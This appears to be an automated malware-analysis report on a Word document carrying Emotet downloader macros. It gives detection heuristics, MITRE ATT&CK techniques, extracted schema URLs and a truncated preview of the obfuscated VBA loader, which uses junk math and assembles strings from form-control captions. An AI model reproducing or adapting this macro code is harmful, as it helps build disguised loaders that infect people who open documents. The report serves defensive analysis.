MALICIOUS
382
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1140 Deobfuscate or Obfuscate
The sample is an OOXML document containing heavily obfuscated VBA macros, including an AutoOpen macro and calls to CreateObject to launch processes via WMI. ClamAV detections identify it as 'Doc.Downloader.Emotet-7167984-0', strongly suggesting Emotet family. The VBA script's primary function appears to be deobfuscation and execution of a payload, likely involving process creation and potentially downloading further stages.
Heuristics 8
-
ClamAV: Doc.Downloader.Emotet-7167984-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-7167984-0
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATEVBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 9620 bytes |
SHA-256: 4fbc6f58a764d475970549397b2d63b7d6810a1ccbd4bc8dff833edc7c7d62c1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "UHk1ER, 0, 0, MSForms, OptionButton"
Attribute VB_Control = "aC3TmQUb, 1, 1, MSForms, OptionButton"
Attribute VB_Control = "fcBo59, 2, 2, MSForms, OptionButton"
Attribute VB_Control = "jV1ICT, 3, 3, MSForms, OptionButton"
Attribute VB_Control = "OFjUjn, 4, 4, MSForms, OptionButton"
Attribute VB_Control = "aspjRQO, 5, 5, MSForms, OptionButton"
Attribute VB_Control = "BXAiVvW, 6, 6, MSForms, OptionButton"
Attribute VB_Control = "Q1MHNZLH, 7, 7, MSForms, OptionButton"
Attribute VB_Control = "Ajm1Ew_, 8, 8, MSForms, OptionButton"
Attribute VB_Control = "n0mtawGA, 9, 9, MSForms, OptionButton"
Attribute VB_Control = "knPa54, 10, 10, MSForms, OptionButton"
Attribute VB_Control = "Inj8WS, 11, 11, MSForms, OptionButton"
Attribute VB_Name = "OXw5jo"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "ZrbTKF"
Attribute VB_Name = "aqB7U7Yz"
Attribute VB_Name = "Jw5c5Q"
Attribute VB_Name = "c005H9J"
Attribute VB_Name = "XOElLZX"
Attribute VB_Name = "jiRv2z"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "u74_pd"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "ULuQ6PR"
Function wTdBczb0()
On Error Resume Next
Ob9kFLj = (tMraBElp + Hex(9) + (3666 + Cos(234324 * Rnd(ldWiAwU_) / 83 + Log(9130)) * 2 + 85))
For Each knLs In iqwhen
For Each BVrY355a In WtgzQ71y4
uiJSbj = xMfau5248 - Fix(pvOb + Round(npy * Fix(KYoI8IEt)) / oZgH7909 + CDbl(qXfS4C1)) - Dzmx6W5 - Log(3 / Chr(67 / 79)) / kBSsssssssssad * Log(915 - Round(23)) / 56 + Oct(oVggW7) / 77 / 42 + DkPTA3642 / Tan(1) / xoJtPK2 / Log(837 / Fix(wwqed / CInt(LtXxD6e6) + nBL - kls) + DVTJJR1 + xBkGD)
Next
Do
T5kANTc = 234 * Tan(n7Ucbra2) - 67 - Sin(zpXA5n74) - sdfD - uHJKd / (lOSjnj_ + CByte(24))
Loop Until hbKJls Eqv uitGJKBS
Next
Set zzwLCFk0 = Ktmr8o2Z
w2qvAVfH = KdkYOcj + ThisDocument.Ajm1Ew_.Caption + ThisDocument.knPa54.Caption + ThisDocument.aspjRQO.Caption + M8nanu
On Error Resume Next
ovzlr1 = (JQOYil_ + Hex(863) + (3666 + Cos(234324 * Rnd(CoXEK6) / 83 + Log(9130)) * 2 + 85))
For Each knLs In iqwhen
For Each BVrY355a In WtgzQ71y4
uiJSbj = xMfau5248 - Fix(pvOb + Round(npy * Fix(KYoI8IEt)) / oZgH7909 + CDbl(qXfS4C1)) - Dzmx6W5 - Log(3 / Chr(67 / 79)) / kBSsssssssssad * Log(514 - Round(23)) / 56 + Oct(oVggW7) / 77 / 42 + DkPTA3642 / Tan(1) / xoJtPK2 / Log(837 / Fix(wwqed / CInt(LtXxD6e6) + nBL - kls) + DVTJJR1 + xBkGD)
Next
Do
DzTQqCV = 234 * Tan(dJhIh4vO) - 67 - Sin(zpXA5n74) - sdfD - uHJKd / (m7fJD9GE + CByte(24))
Loop Until hbKJls Eqv uitGJKBS
Next
Set Dn2FFnCb = L5cpA2J
On Error Resume Next
otJGGt = (YUaGLm + Hex(163) + (3666 + Cos(234324 * Rnd(Ph3bINA) / 83 + Log(9130)) * 2 + 85))
For Each knLs In iqwhen
For Each BVrY355a In WtgzQ71y4
uiJSbj = xMfau5248 - Fix(pvOb + Round(npy * Fix(KYoI8IEt)) / oZgH7909 + CDbl(qXfS4C1)) - Dzmx6W5 - Log(3 / Chr(67 / 79)) / kBSsssssssssad * Log(813 - Round(23)) / 56 + Oct(oVggW7) / 77 / 42 + DkPTA3642 / Tan(1) / xoJtPK2 / Log(837
... (truncated)
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 49664 bytes |
SHA-256: f73d44936f764a368e53dbce833025c5413aa16c36ce6ef07cdb6f0071ab71ad |
|||
|
Detection
ClamAV:
Doc.Downloader.Emotet-7167984-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.